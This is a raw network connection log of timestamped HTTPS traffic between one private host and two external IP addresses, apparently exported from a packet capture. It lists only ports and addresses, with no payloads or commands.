Oct 19, 2024 00:14:25.152254105 CEST	49975	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:25.152264118 CEST	443	49975	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:25.152287960 CEST	443	49975	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:25.152477980 CEST	49975	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:25.154517889 CEST	49975	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:25.154531956 CEST	443	49975	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:25.426069021 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:25.426117897 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:25.426187038 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:25.426397085 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:25.426440001 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:25.426934958 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:25.426953077 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:25.427114964 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:25.427114964 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:25.427160025 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:25.737766981 CEST	443	49987	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.738523006 CEST	49987	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.738558054 CEST	443	49987	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.738905907 CEST	49987	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.738912106 CEST	443	49987	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.739978075 CEST	443	49988	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.740287066 CEST	49988	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.740309000 CEST	443	49988	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.740734100 CEST	49988	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.740739107 CEST	443	49988	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.755534887 CEST	443	49990	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.756048918 CEST	49990	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.756069899 CEST	443	49990	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.756127119 CEST	443	49991	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.756479979 CEST	49990	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.756494999 CEST	443	49990	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.756750107 CEST	49991	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.756764889 CEST	443	49991	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.757092953 CEST	49991	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.757097006 CEST	443	49991	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.763374090 CEST	443	49989	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.763777971 CEST	49989	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.763794899 CEST	443	49989	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.764208078 CEST	49989	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.764213085 CEST	443	49989	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.866837025 CEST	443	49987	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.866969109 CEST	443	49987	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.867182016 CEST	49987	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.867182970 CEST	49987	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.867234945 CEST	49987	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.867259979 CEST	443	49987	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.870234966 CEST	49994	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.870287895 CEST	443	49994	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.870378971 CEST	49994	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.870718002 CEST	49994	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.870733976 CEST	443	49994	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.873387098 CEST	443	49988	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.873457909 CEST	443	49988	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.873591900 CEST	49988	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.873683929 CEST	49988	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.873698950 CEST	443	49988	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.873713970 CEST	49988	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.873719931 CEST	443	49988	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.876121044 CEST	49995	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.876143932 CEST	443	49995	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.876669884 CEST	49995	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.877029896 CEST	49995	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.877042055 CEST	443	49995	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.886632919 CEST	443	49991	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.887168884 CEST	443	49991	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.887223005 CEST	49991	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.887274027 CEST	49991	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.887274027 CEST	49991	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.887284994 CEST	443	49991	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.887294054 CEST	443	49991	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.889841080 CEST	49996	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.889882088 CEST	443	49996	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.889983892 CEST	49996	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.890125036 CEST	49996	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.890139103 CEST	443	49996	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.897325993 CEST	443	49989	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.897361040 CEST	443	49989	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.897408962 CEST	443	49989	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.897447109 CEST	49989	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.897533894 CEST	49989	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.897553921 CEST	443	49989	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.897579908 CEST	49989	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.897579908 CEST	49989	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.897588015 CEST	443	49989	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.897594929 CEST	443	49989	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.899929047 CEST	49997	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.899966002 CEST	443	49997	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.900036097 CEST	49997	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.900192022 CEST	49997	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.900207043 CEST	443	49997	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.022638083 CEST	443	49990	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.022763014 CEST	443	49990	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.022972107 CEST	49990	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.022972107 CEST	49990	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.023046970 CEST	49990	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.023066998 CEST	443	49990	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.026424885 CEST	49998	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.026459932 CEST	443	49998	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.027363062 CEST	49998	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.027363062 CEST	49998	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.027396917 CEST	443	49998	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.398073912 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.398328066 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.398359060 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.398789883 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.399079084 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.399138927 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.399401903 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.399679899 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.399707079 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.399836063 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.399857044 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.399874926 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.399905920 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.399964094 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.399977922 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.399995089 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.400011063 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.400012016 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.400021076 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.400053978 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.400100946 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.400118113 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.400125980 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.400125980 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.400131941 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.400154114 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.400165081 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.400201082 CEST	49992	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.400208950 CEST	443	49992	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.400315046 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.400336027 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.400685072 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.401063919 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.401134968 CEST	443	49993	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:26.449342966 CEST	49993	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:26.599131107 CEST	443	49994	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.601001978 CEST	49994	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.601036072 CEST	443	49994	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.601543903 CEST	49994	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.601550102 CEST	443	49994	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.613298893 CEST	443	49995	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.613785028 CEST	49995	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.613806009 CEST	443	49995	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.614249945 CEST	49995	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.614265919 CEST	443	49995	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.635143995 CEST	443	49996	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.636466026 CEST	49996	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.636498928 CEST	443	49996	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.637238026 CEST	49996	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.637248039 CEST	443	49996	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.644658089 CEST	443	49997	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.645088911 CEST	49997	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.645117044 CEST	443	49997	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.645704031 CEST	49997	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.645709038 CEST	443	49997	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.731620073 CEST	443	49994	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.731654882 CEST	443	49994	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.731705904 CEST	443	49994	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.731722116 CEST	49994	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.731765985 CEST	49994	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.732831955 CEST	49994	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.732853889 CEST	443	49994	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.732894897 CEST	49994	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.732901096 CEST	443	49994	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.736799002 CEST	49999	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.736849070 CEST	443	49999	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.736955881 CEST	49999	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.737199068 CEST	49999	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.737214088 CEST	443	49999	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.759845972 CEST	443	49995	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.759977102 CEST	443	49995	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.760020971 CEST	49995	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.760699034 CEST	49995	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.760718107 CEST	443	49995	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.760798931 CEST	49995	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.760804892 CEST	443	49995	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.764286041 CEST	50000	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.764321089 CEST	443	50000	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.764646053 CEST	50000	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.764791012 CEST	50000	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.764801979 CEST	443	50000	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.771030903 CEST	443	49996	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.771073103 CEST	443	49996	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.771109104 CEST	443	49996	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.771127939 CEST	49996	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.771166086 CEST	49996	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.771202087 CEST	443	49998	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.771394968 CEST	49996	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.771414042 CEST	443	49996	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.771425962 CEST	49996	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.771431923 CEST	443	49996	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.774244070 CEST	50001	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.774279118 CEST	443	50001	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.774441957 CEST	50001	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.774530888 CEST	49998	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.774530888 CEST	49998	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.774564028 CEST	443	49998	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.774569988 CEST	443	49998	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.774586916 CEST	50001	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.774595022 CEST	443	50001	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.781373978 CEST	443	49997	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.781595945 CEST	443	49997	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.781711102 CEST	49997	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.781711102 CEST	49997	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.782529116 CEST	49997	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.782542944 CEST	443	49997	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.785172939 CEST	50002	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.785200119 CEST	443	50002	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.785296917 CEST	50002	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.785418987 CEST	50002	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.785429001 CEST	443	50002	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.906940937 CEST	443	49998	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.907016039 CEST	443	49998	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.907324076 CEST	49998	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.907324076 CEST	49998	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.907324076 CEST	49998	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.910409927 CEST	50003	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.910470963 CEST	443	50003	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:26.910577059 CEST	50003	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.910979986 CEST	50003	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:26.910996914 CEST	443	50003	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.215420008 CEST	49998	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.215449095 CEST	443	49998	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.473556995 CEST	443	49999	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.474092960 CEST	49999	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.474117994 CEST	443	49999	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.474689007 CEST	49999	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.474694967 CEST	443	49999	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.488114119 CEST	443	50000	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.489021063 CEST	50000	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.489037991 CEST	443	50000	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.489185095 CEST	50000	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.489195108 CEST	443	50000	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.517800093 CEST	443	50001	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.518357992 CEST	50001	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.518378973 CEST	443	50001	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.518822908 CEST	50001	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.518830061 CEST	443	50001	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.537082911 CEST	443	50002	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.537616014 CEST	50002	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.537642002 CEST	443	50002	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.538126945 CEST	50002	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.538130999 CEST	443	50002	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.604595900 CEST	443	49999	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.604897976 CEST	443	49999	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.605015039 CEST	49999	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.605372906 CEST	49999	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.605396986 CEST	443	49999	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.605422974 CEST	49999	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.605428934 CEST	443	49999	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.608359098 CEST	50004	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.608402014 CEST	443	50004	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.608455896 CEST	50004	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.608606100 CEST	50004	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.608616114 CEST	443	50004	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.615798950 CEST	443	50000	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.615827084 CEST	443	50000	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.615873098 CEST	50000	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.615878105 CEST	443	50000	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.616132021 CEST	50000	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.616132021 CEST	50000	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.616152048 CEST	50000	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.616172075 CEST	443	50000	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.618613958 CEST	50005	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.618662119 CEST	443	50005	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.618736982 CEST	50005	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.618988037 CEST	50005	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.619000912 CEST	443	50005	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.643709898 CEST	443	50003	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.644218922 CEST	50003	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.644243002 CEST	443	50003	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.644675016 CEST	50003	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.644685030 CEST	443	50003	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.659168005 CEST	443	50001	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.659241915 CEST	443	50001	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.659456968 CEST	50001	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.659487963 CEST	50001	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.659502983 CEST	443	50001	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.659517050 CEST	50001	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.659523010 CEST	443	50001	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.662318945 CEST	50006	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.662362099 CEST	443	50006	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.662440062 CEST	50006	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.662668943 CEST	50006	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.662682056 CEST	443	50006	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.673326015 CEST	443	50002	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.673367023 CEST	443	50002	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.673408985 CEST	443	50002	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.673434019 CEST	50002	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.673470974 CEST	50002	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.673661947 CEST	50002	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.673676014 CEST	443	50002	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.673688889 CEST	50002	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.673695087 CEST	443	50002	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.676206112 CEST	50007	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.676234961 CEST	443	50007	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.676455975 CEST	50007	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.676455975 CEST	50007	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.676482916 CEST	443	50007	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.783726931 CEST	443	50003	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.783809900 CEST	443	50003	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.783909082 CEST	50003	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.784153938 CEST	50003	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.784153938 CEST	50003	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.784178972 CEST	443	50003	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.784189939 CEST	443	50003	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.787831068 CEST	50008	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.787880898 CEST	443	50008	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:27.787980080 CEST	50008	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.788157940 CEST	50008	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:27.788172960 CEST	443	50008	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.347664118 CEST	443	50004	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.350970030 CEST	50004	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.350996971 CEST	443	50004	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.351419926 CEST	50004	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.351424932 CEST	443	50004	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.365006924 CEST	443	50005	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.366991043 CEST	50005	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.367021084 CEST	443	50005	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.367400885 CEST	50005	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.367405891 CEST	443	50005	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.399866104 CEST	443	50006	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.433228016 CEST	443	50007	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.442548990 CEST	50006	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.442583084 CEST	443	50006	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.443046093 CEST	50006	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:28.443053007 CEST	443	50006	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.477628946 CEST	443	50004	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.477967978 CEST	443	50004	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.478018999 CEST	443	50004	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:28.478136063 CEST	50004	443	192.168.2.10	13.107.246.45
